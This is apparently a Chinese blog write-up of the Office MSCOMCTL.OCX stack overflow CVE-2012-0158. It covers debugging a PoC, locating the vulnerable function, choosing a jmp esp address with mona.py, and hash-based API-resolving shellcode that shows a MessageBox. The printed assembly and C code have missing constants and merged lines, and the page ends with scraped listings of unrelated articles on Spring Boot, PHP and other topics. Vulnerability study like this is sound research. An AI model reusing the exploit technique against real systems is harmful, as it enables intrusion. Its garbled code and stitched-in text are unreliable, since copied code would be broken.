操作系统:Windows7 32位 专业版

Office:2003sp3_20120218.exe

工具:OD和IDA

1.漏洞的本质:程序编写时未对内存拷贝函数的长度参数进行足够严谨的验证,造成的堆栈缓冲区溢出。

2漏洞分析:

1.获取poc:

网络下载

2.漏洞复现

安装office2003 sp3

直接运行poc样本,观察程序的运行状态,通过Windows反馈信息可知,此漏洞是典型的栈溢出型漏洞。

使用OD进行附加:

因为栈的结构如下图,所以通过对poc栈分析,下部的栈已经被破坏,上部的栈是程序出现问题的运势状态。

向上栈回述找到如下地址:

重新进行附加,对此函数进行分析,定位漏洞产生的位置:

在此时函数所在的模块,通过OD快捷键:Alt+E查找对应模块

将MSCOMCTL.OCX加载进IDA,对call MSCOMCTL.275C876D漏洞产生函数分析:

由上可知此漏洞的产生,是因为对栈检测时没有设定上限导致的,所以漏洞的修补就是对是否进行内存拷贝的判断时,小于判断即可

通过对OD动态调试:

通过对poc进行010分析,因为poc是需要对漏洞进行利用,而275C876D是漏洞产生的函数,静态分析可知,第三个参数是申请的内存空间的大小,根据ShellCode的编写需要内存空间进行存储,所以,直接在poc的010中搜索8282,即可定位到自定义缓冲区位置

3漏洞利用:

Shellcode:

1. 在运行的程序中寻找跳板指令地址:

Jmp esp

使用 ImmunityDebugger+mona.py

!mona modules

因为此模块位系统模块且各种保护位false

选择可读可执行的 jmp esp 地址:0x729a0535

2. 编写通用ShellCode的思路:

以简单的MessageBox为例:

1.获取Kernel32.dll 基地址

2.获取GetProcAddress 函数地址

3.获取LoadLibraryExA 函数地址

4.调用LoadLibraryExA 获取user32.dll基地址

5.调用GetProcAddress 获取MessageBoxA 函数地址

6.传参调用MessageBoxA

7.调用GetProcAddress,获取ExitProcess函数地址

8.传参调用ExitProcess

为缩短ShellCode的通过获取API Hash值进行匹对完成

 /* 通过对APIHASH值的匹对行进获取 */
DWORD GetHash(char *fun_name)
{
DWORD digest = ;
while (*fun_name)
{
digest = ((digest << ) | (digest >> )); // 实现了digest的循环右移7位(或循环左移25位)
digest += *fun_name;
fun_name++;
}
return digest;
}
int main()
{
_asm
{
// 将所要使用的函数的hash值入栈
cld // 清空标志位DF
push 0x1e380a6a // MessageBoxA的Hash值
push 0x4fd18963 // ExitProcess的Hash值
push 0x0c917432 // LoadLibraryA的Hash值
mov esi, esp // 令esi指向栈顶位置,此时指向堆栈中存放的LoadLibrary
lea edi, [esi - 0xc]// 后面利用edi的值来调用不同的函数 // 开辟栈空间
xor ebx, ebx // ebx置0
mov bh, 0x04 // 此时ebx为0x400
sub esp, ebx // 开辟0x400大小的空间 // 压入“user32.dll”
mov bx, 0x3233 // 0x3和0x2 倒叙存储
push ebx // 入栈
push 0x72657375 // “user”入栈
push esp
xor edx, edx // edx置0 // 查找kernel32.dll的基地址
mov ebx, fs:[edx + 0x30] // [TEB+0x30]是PEB的位置
mov ecx, [ebx + 0xc] // [PEB+0xc]是PEB_LDR_DATA的位置
mov ecx, [ecx + 0x1c] // [PEB_LDR_DATA+0x1c]是InInitializationOrderModuleList
mov ecx, [ecx] // 进入链表第一个就是ntdll.dll
mov ebp, [ecx + 0x8] // ebp保存的是Kernel32.dll的基地址 find_lib_function :
lodsd
cmp eax, 0x1e380a6a // 与MessageBoxA的Hash值进行比较
jne find_functions // 如果不相等,继续查找
xchg eax, ebp
call[edi - 0x8]
xchg eax, ebp // 在PE文件中查找相应的API函数
find_functions :
pushad // 保护所有寄存器中的内容
mov eax, [ebp + 0x30] // PE头
mov ecx, [ebp + eax + 0x78]// 导出表的指针
add ecx, ebp
mov ebx, [ecx + 0x20] // 导出函数的名字列表
add ebx, ebp
xor edi, edi // edi置0 // 循环读取导出表函数
next_function_loop :
inc edi // edi不断自增,作为索引
mov esi, [ebx + edi*] // 从列表数组中读取
add esi, ebp // esi保存的是函数名所在的地址
cdq // 把edx的每一个位置成eax的最高位,再把edx扩展位eax的高位,变成64位 // hash值的计算
hash_loop :
movsx eax, byte ptr[esi] // 每次取出一个字符放入eax中
cmp al, ah // 验证eax是否为0x0,即结束符
jz compare_hash // 如果上述结果为0,说明hash值计算完毕进行hash比对
ror edx, // 如果cmp的结果不为0,则进行循环右移7为的操作
add edx, eax // 将循环右移的值不断累加
inc esi // esi自增,用于读取下一个字符
jmp hash_loop // 跳转到hash_loop的位置继续计算 // hash值的比较
compare_hash :
cmp edx, [esp + 0x1c] // 与LoadLibraryA的hash值进行比较
jnz next_function_loop // 如果比较不成功,继续寻找导出表的下一个函数
mov ebx, [ecx + 0x24]
add ebx, ebp
mov di, [ebx + * edi]
mov ebx, [ecx + 0x1c]
add ebx, ebp
add ebp, [ebx + * edi]
xchg eax, ebp
pop edi
push edi
popad // 还原所有寄存器内容
cmp eax, 0x1e380a6a // 与MessageBoxA的Hash值进行比较 // 主函数内容,用于显示对话框
function_call:
xor ebx, ebx
sub esp, 0x50
xor ebx, ebx
push ebx // cut string
push 0x48656c6c // push "hell"
mov eax, esp
push ebx // cut string
push 0x576f726c // push "worl"
mov ecx, esp push ebx
push eax
push ecx
push ebx
mov eax, 0x77d507ea
call eax // call MessageBox
push ebx
mov eax, 0x7c81cafa
call eax // call ExitProcess
}
return ;
}

4总结:

1. 栈数据被当成代码执行

2. 想要通用的shellcode就需要动态获取kernel32.dll,解析kernel32.dll的导出表获取API

3. 漏洞的利用:覆盖函数返回地址,jmp esp跳转

4. 从编程角度理解思考漏洞的成因并防范

4 CVE-2012-0158 漏洞分析的更多相关文章

  1. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

  2. 看个AV也中招之cve-2010-2553漏洞分析

    试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...

  3. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  4. CVE-2014-1767 漏洞分析(2015.1)

    CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...

  5. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

  6. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  7. [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)

    Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...

  8. Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)

    不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...

  9. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

  10. CVE-2010-3971 CSS内存破坏漏洞分析

    看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑.于是找来POC,尝试分析一下. 1.漏洞重现 XP SP3+ie6.0环境 poc如下: poc.htm &l ...

随机推荐

  1. 学习springboot第一天~

    1. springboot是对spring的缺点进行改善和优化,它的约定大于配置,开箱即用,没有代码生成,也不需要xml文件配置,可以修改属性值来满足需求 2. springboot的入门程序 在id ...

  2. [PHP] PHP PDO与mysql的连接单例防止超时情况处理

    这个数据库类主要处理了单例模式下创建数据库对象时,如果有两次较长时间的间隔去执行sql操作,再次处理会出现连接失败的问题,利用一个cache数组存放pdo对象与时间戳,把两次执行之间的时间进行了比较, ...

  3. 第十七章 Metasploit Framework

    渗透测试者的困扰▪ 需要掌握数百个工具软件,上千个命令参数,实在记不住▪ 新出现的漏洞PoC/EXP有不同的运行环境要求,准备工作繁琐▪ 大部分时间都在学习使用不同工具的使用习惯,如果能统一就好了▪ ...

  4. PHP 安装xdebug

    xdebug官网: https://xdebug.org 安装步骤如下: 使用 phpinfo() 打印出PHP相关信息, 全选, 复制 打开 xdebug 网站: https://xdebug.or ...

  5. 3. Go语言—函数和常量

    一.函数声明和注释 1. 声明 ​ func 函数名 (参数列表)(返回值列表){} func add{ pass } func add(a int, b int){ } func add(a int ...

  6. pdfium 例子

    #include <stdio.h> #include <fpdfview.h> int main(int argc, char** argv) { FPDF_InitLibr ...

  7. Jmeter Question 之“集成Ant+Jenkins自动化”

    首先介绍一下Ant.Apache Ant,是一个将软件编译.测试.部署等步骤联系在一起加以自动化的一个工具,大多用于Java环境中的软件开发.由Apache软件基金会所提供. 是的.还是Apache家 ...

  8. 常用的架包对应的maven配置

    <!-- https://mvnrepository.com/artifact/com.google.guava/guava --> <dependency> <grou ...

  9. 新建全色或者resize(毫无价值,只是做记录)

    import glob import os,sys import shutil import numpy as np import cv2 import matplotlib.pyplot as pl ...

  10. 游戏设计艺术 第2版 (Jesse Schell 著)

    第1章 太初之时,有设计师 (已看) 第2章 设计师创造体验 第3章 体验发生于场景 第4章 体验从游戏中诞生 第5章 游戏由元素构成 第6章 元素支撑起主题 第7章 游戏始于一个创意 第8章 游戏通 ...